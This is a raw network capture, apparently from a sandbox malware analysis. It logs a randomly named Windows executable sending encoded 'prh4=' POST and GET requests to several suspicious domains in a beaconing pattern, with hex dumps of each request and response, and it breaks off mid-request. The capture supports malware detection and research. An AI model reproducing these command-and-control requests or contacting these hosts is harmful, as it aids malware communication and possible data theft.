Nov 20, 2024 09:24:42.712119102 CET	490	OUT	GET /gxyh/?prh4=xivIugper8hSVuoN4YvDvis0ACu7xzkGnAUBMzrp/j5qvAoCvNj6F299r/oRQ/YEeKRSLhAnFUBxmqELIOT++SwIfOluLOgfprtVp+sbk1f1bmq9tA==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.zxyck.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:24:43.602325916 CET	266	IN	HTTP/1.1 200 OK Server: Tengine Date: Wed, 20 Nov 2024 08:23:46 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Data Raw: 31 63 0d 0a 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 7a 78 79 63 6b 2e 6e 65 74 2f 67 78 79 68 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1c/www/wwwroot/zxyck.net/gxyh.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	50005	209.74.77.109	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:48.837893963 CET	753	OUT	POST /n9b0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dailyfuns.info Origin: http://www.dailyfuns.info Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.dailyfuns.info/n9b0/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 4e 2b 39 4c 70 45 58 59 45 2f 47 38 49 47 33 42 44 6c 77 34 6a 6e 4d 64 35 76 78 2b 4a 50 69 6c 69 71 64 69 39 79 59 4a 61 56 68 50 71 76 6e 62 41 79 4f 78 7a 72 58 32 56 69 37 59 5a 69 59 47 39 33 6d 6b 4b 44 4b 69 6c 50 4c 41 68 4f 69 2b 36 34 34 41 36 63 42 30 57 45 57 70 6f 68 6d 34 6d 4e 77 65 64 64 47 74 6c 46 38 5a 62 55 65 50 4b 38 75 33 74 31 54 71 76 36 65 48 6d 45 76 65 6f 6f 77 76 48 46 4e 32 39 34 4e 54 75 61 35 76 37 6a 54 6f 46 4e 77 6d 72 34 73 67 6e 77 4c 75 36 65 66 48 74 2b 62 35 2f 54 70 79 43 76 56 4d 77 72 4a 6e 50 78 51 30 45 46 61 76 Data Ascii: prh4=N+9LpEXYE/G8IG3BDlw4jnMd5vx+JPiliqdi9yYJaVhPqvnbAyOxzrX2Vi7YZiYG93mkKDKilPLAhOi+644A6cB0WEWpohm4mNweddGtlF8ZbUePK8u3t1Tqv6eHmEveoowvHFN294NTua5v7jToFNwmr4sgnwLu6efHt+b5/TpyCvVMwrJnPxQ0EFav
Nov 20, 2024 09:24:49.431021929 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:49 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	50006	209.74.77.109	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:51.385857105 CET	777	OUT	POST /n9b0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dailyfuns.info Origin: http://www.dailyfuns.info Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.dailyfuns.info/n9b0/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 4e 2b 39 4c 70 45 58 59 45 2f 47 38 49 6d 6e 42 41 43 6b 34 30 58 4d 65 33 50 78 2b 51 66 69 68 69 71 68 69 39 33 35 53 61 6e 46 50 71 50 58 62 53 48 75 78 79 72 58 32 64 43 37 64 55 43 59 5a 39 32 62 48 4b 44 47 69 6c 4f 72 41 68 4d 36 2b 36 4c 51 44 37 4d 42 32 65 6b 57 72 6d 42 6d 34 6d 4e 77 65 64 64 54 77 6c 46 6b 5a 48 31 75 50 59 75 57 34 78 46 54 72 6f 36 65 48 69 45 76 53 6f 6f 77 4a 48 42 45 5a 39 36 46 54 75 66 56 76 36 79 54 72 4d 4e 77 6b 6b 59 74 4a 33 67 32 35 67 4e 37 6a 73 2b 71 34 75 6a 4a 55 4d 75 6f 4c 68 36 6f 77 63 47 4d 36 4b 44 76 46 53 53 76 38 79 7a 46 79 5a 44 2f 31 5a 6b 4c 42 46 4d 79 54 73 41 3d 3d Data Ascii: prh4=N+9LpEXYE/G8ImnBACk40XMe3Px+Qfihiqhi935SanFPqPXbSHuxyrX2dC7dUCYZ92bHKDGilOrAhM6+6LQD7MB2ekWrmBm4mNweddTwlFkZH1uPYuW4xFTro6eHiEvSoowJHBEZ96FTufVv6yTrMNwkkYtJ3g25gN7js+q4ujJUMuoLh6owcGM6KDvFSSv8yzFyZD/1ZkLBFMyTsA==
Nov 20, 2024 09:24:51.957765102 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:51 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	50007	209.74.77.109	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:53.930926085 CET	1790	OUT	POST /n9b0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.dailyfuns.info Origin: http://www.dailyfuns.info Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.dailyfuns.info/n9b0/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 4e 2b 39 4c 70 45 58 59 45 2f 47 38 49 6d 6e 42 41 43 6b 34 30 58 4d 65 33 50 78 2b 51 66 69 68 69 71 68 69 39 33 35 53 61 6e 4e 50 72 2b 33 62 41 52 6d 78 78 72 58 32 54 69 37 63 55 43 5a 44 39 32 44 62 4b 43 37 56 6c 4c 76 41 68 76 79 2b 38 36 51 44 77 4d 42 32 42 55 57 71 6f 68 6d 74 6d 4e 68 32 64 64 44 77 6c 46 6b 5a 48 32 32 50 49 4d 75 34 69 56 54 71 76 36 65 4c 6d 45 75 50 6f 6f 5a 79 48 42 4a 6d 39 71 6c 54 76 2f 46 76 38 41 37 72 55 64 77 69 6a 59 74 52 33 67 37 2b 67 4e 6e 76 73 38 4c 6a 75 67 5a 55 4d 4c 4a 55 7a 75 5a 72 4e 32 45 45 4c 78 69 76 51 79 37 65 34 7a 6b 6b 4f 79 7a 4f 4a 6c 53 2b 50 66 54 2b 2f 75 73 54 4b 33 68 39 30 79 62 45 66 57 65 53 4c 61 39 59 6a 38 68 4e 4f 6a 61 75 2f 70 57 58 6a 58 2b 48 4c 49 79 47 30 71 4d 52 56 58 6c 36 73 70 6f 2b 41 33 67 4d 39 71 73 50 67 7a 59 69 4f 73 73 43 2f 34 73 36 67 50 6b 31 6d 65 45 58 45 31 65 61 41 6a 41 47 6e 66 2f 56 58 50 41 2f 6e 50 79 6a 4a 6a 35 4d 6d 59 46 31 53 6c 70 7a 74 45 38 49 34 78 56 53 62 38 34 4b 78 [TRUNCATED] Data Ascii: prh4=N+9LpEXYE/G8ImnBACk40XMe3Px+Qfihiqhi935SanNPr+3bARmxxrX2Ti7cUCZD92DbKC7VlLvAhvy+86QDwMB2BUWqohmtmNh2ddDwlFkZH22PIMu4iVTqv6eLmEuPooZyHBJm9qlTv/Fv8A7rUdwijYtR3g7+gNnvs8LjugZUMLJUzuZrN2EELxivQy7e4zkkOyzOJlS+PfT+/usTK3h90ybEfWeSLa9Yj8hNOjau/pWXjX+HLIyG0qMRVXl6spo+A3gM9qsPgzYiOssC/4s6gPk1meEXE1eaAjAGnf/VXPA/nPyjJj5MmYF1SlpztE8I4xVSb84KxCizqoeKijHzqAG8GmAfA/w/VZMQmgwKWE4SbqFXPnbI2K9IxV1OkhZyZNwkZm0ZpPvKG9KiRwqqE+bgASlxSgnf9J4VUwQPSOvG+uuJ3yTQOkmS+w4BryAV4hFRj6LMCcQ/Fs/ChHsGcX6mLDXaXEWu27M0R5V5+IX4I/FgRreeS/DmYZIAcULp1dYj23f6zpC49Nh9WQmwSnm0tNTNsD91AvxOBIWjqnsXXj8bo03cNdll2lLNKr4ty8tfmAnkHAhnlUEFjP06cdbrD+JvhV1UOa0EgLsIPJZwTiY8QBnwvyh5U8UuyQKV9G/Y6Dw4H9tUPLP+U+0MwmJIYeJbYNZJnQgzUr1UsVyHkpdH0kIp+NUl33J6vbRIcDxq3Jv2sVg9Ya6XHAg/OmWM+WNE3FPBbiBJrGnP9qMCz4XJJKoWDtDNpFSu7PEmjD9yg+E91N/CNq+CuwKGCYuQxsCsnTzDp0kTS/pxxzT3lVdey7JQj81gQlwqEUHxjuETBXhr3pnrrAuSGzFhrPl0NwUCvF1shidaXh8AogY6qOFpzH9cP7/Rf/9o/Yjp4MHJbT6B05m6mIbZkfHAz9+uTDH+4lEai24fKLoTUYUTii7SHfqOLxyubEKb4KRzi8sWqFHOCUsgh4CrqdvxK7DnBkr0HUz5ocR9ZACHepU [TRUNCATED]
Nov 20, 2024 09:24:54.511640072 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:54 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	50008	209.74.77.109	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:24:56.477067947 CET	495	OUT	GET /n9b0/?prh4=A8VrqyfvUbO/Hw2IDw0dtkQZ0NZDVPvZj5dGp0FbdWJo87i+fAzGqY/WbkPjYDkNrmWhazG0hIjSjfnpkftd4udfcATptjj7os9tTYvN+mNNekq8bw==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dailyfuns.info Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:24:57.083714962 CET	548	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:24:56 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	50009	188.114.96.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:02.137579918 CET	762	OUT	POST /1ag2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mydreamdeal.click Origin: http://www.mydreamdeal.click Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.mydreamdeal.click/1ag2/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 31 58 70 66 4f 4d 31 67 73 7a 33 47 42 4f 42 41 4e 70 56 62 51 4e 6d 32 67 33 54 59 38 4f 37 62 73 6f 70 79 6a 52 48 41 41 4e 65 62 54 35 33 70 58 39 77 46 76 76 31 51 53 77 56 31 6d 46 31 6b 67 37 66 46 53 47 76 6e 6d 31 47 51 46 4c 43 78 4e 62 31 71 47 34 37 59 41 44 42 38 49 54 44 49 38 71 69 4c 38 4b 36 68 34 65 59 2f 2b 68 66 72 39 6d 2b 30 45 51 51 79 64 65 77 4b 32 36 43 6f 6f 6f 63 53 75 67 33 55 7a 37 4d 79 67 4b 49 76 5a 6a 49 41 65 4b 32 63 4d 31 6c 72 68 47 76 57 42 34 6c 74 31 33 35 76 67 50 7a 2b 35 37 39 46 5a 6b 70 33 4e 56 67 73 77 55 54 52 Data Ascii: prh4=1XpfOM1gsz3GBOBANpVbQNm2g3TY8O7bsopyjRHAANebT53pX9wFvv1QSwV1mF1kg7fFSGvnm1GQFLCxNb1qG47YADB8ITDI8qiL8K6h4eY/+hfr9m+0EQQydewK26CooocSug3Uz7MygKIvZjIAeK2cM1lrhGvWB4lt135vgPz+579FZkp3NVgswUTR
Nov 20, 2024 09:25:02.842266083 CET	1049	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:25:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 08:25:02 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=20QctgtnUAu12sMW441BhxUscYiFWId6jrw%2F66N3kmYCsDXASlFClJyBMlF7pf0I%2FTj3Bn%2FK%2FnoDT6QXP%2B8siTxSUIfJF4n5gLj9rzFjKD%2FHzzT9RbzkXaPP6bTu8JoBh8eZ9raDSg8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570c0ec82e42bd-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=762&delivery_rate=0&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	50010	188.114.96.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:04.685705900 CET	786	OUT	POST /1ag2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mydreamdeal.click Origin: http://www.mydreamdeal.click Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.mydreamdeal.click/1ag2/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 31 58 70 66 4f 4d 31 67 73 7a 33 47 4f 50 52 41 49 4f 4a 62 41 64 6d 31 73 58 54 59 79 75 37 66 73 6f 6c 79 6a 51 44 51 42 2f 36 62 55 59 48 70 57 2b 6f 46 73 76 31 51 47 41 56 77 69 46 31 56 67 37 62 6e 53 48 54 6e 6d 78 57 51 46 4f 2b 78 4e 73 70 74 55 34 37 61 4c 6a 42 69 58 44 44 49 38 71 69 4c 38 4b 2b 4c 34 65 41 2f 2b 52 50 72 38 48 2b 37 4e 77 51 78 55 2b 77 4b 67 4b 44 76 6f 6f 64 46 75 68 62 74 7a 34 30 79 67 49 67 76 63 6e 55 48 51 4b 32 65 43 56 6c 2f 6d 32 53 64 44 37 5a 70 77 6e 30 67 38 2b 76 63 33 36 41 43 49 31 49 67 65 69 38 69 2b 53 6d 37 41 63 50 76 38 4e 37 66 58 38 4d 68 48 39 2f 37 50 53 71 67 37 41 3d 3d Data Ascii: prh4=1XpfOM1gsz3GOPRAIOJbAdm1sXTYyu7fsolyjQDQB/6bUYHpW+oFsv1QGAVwiF1Vg7bnSHTnmxWQFO+xNsptU47aLjBiXDDI8qiL8K+L4eA/+RPr8H+7NwQxU+wKgKDvoodFuhbtz40ygIgvcnUHQK2eCVl/m2SdD7Zpwn0g8+vc36ACI1Igei8i+Sm7AcPv8N7fX8MhH9/7PSqg7A==
Nov 20, 2024 09:25:05.414819002 CET	1043	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 08:25:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 20 Nov 2024 08:25:05 GMT Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lEryPHZFxfvqARwhFeSZQfE%2Bc5NVrs7g2mM%2FkI7FTYHvfnY0KYQI31TV4aszXfbQ4WPOWoJWlu0pn56tLwUyOsw6z9kV%2Bj60sC5jhyBpsqHoJaIblw0smN2Il9D7ESn5u01t3Ot6Hak%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e570c1ebf881a03-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=786&delivery_rate=0&cwnd=140&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	50011	188.114.96.3	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:25:07.229406118 CET	1799	OUT	POST /1ag2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.mydreamdeal.click Origin: http://www.mydreamdeal.click Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.mydreamdeal.click/1ag2/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 31 58 70 66 4f 4d 31 67 73 7a 33 47 4f 50 52 41 49 4f 4a 62 41 64 6d 31 73 58 54 59 79 75 37 66 73 6f 6c 79 6a 51 44 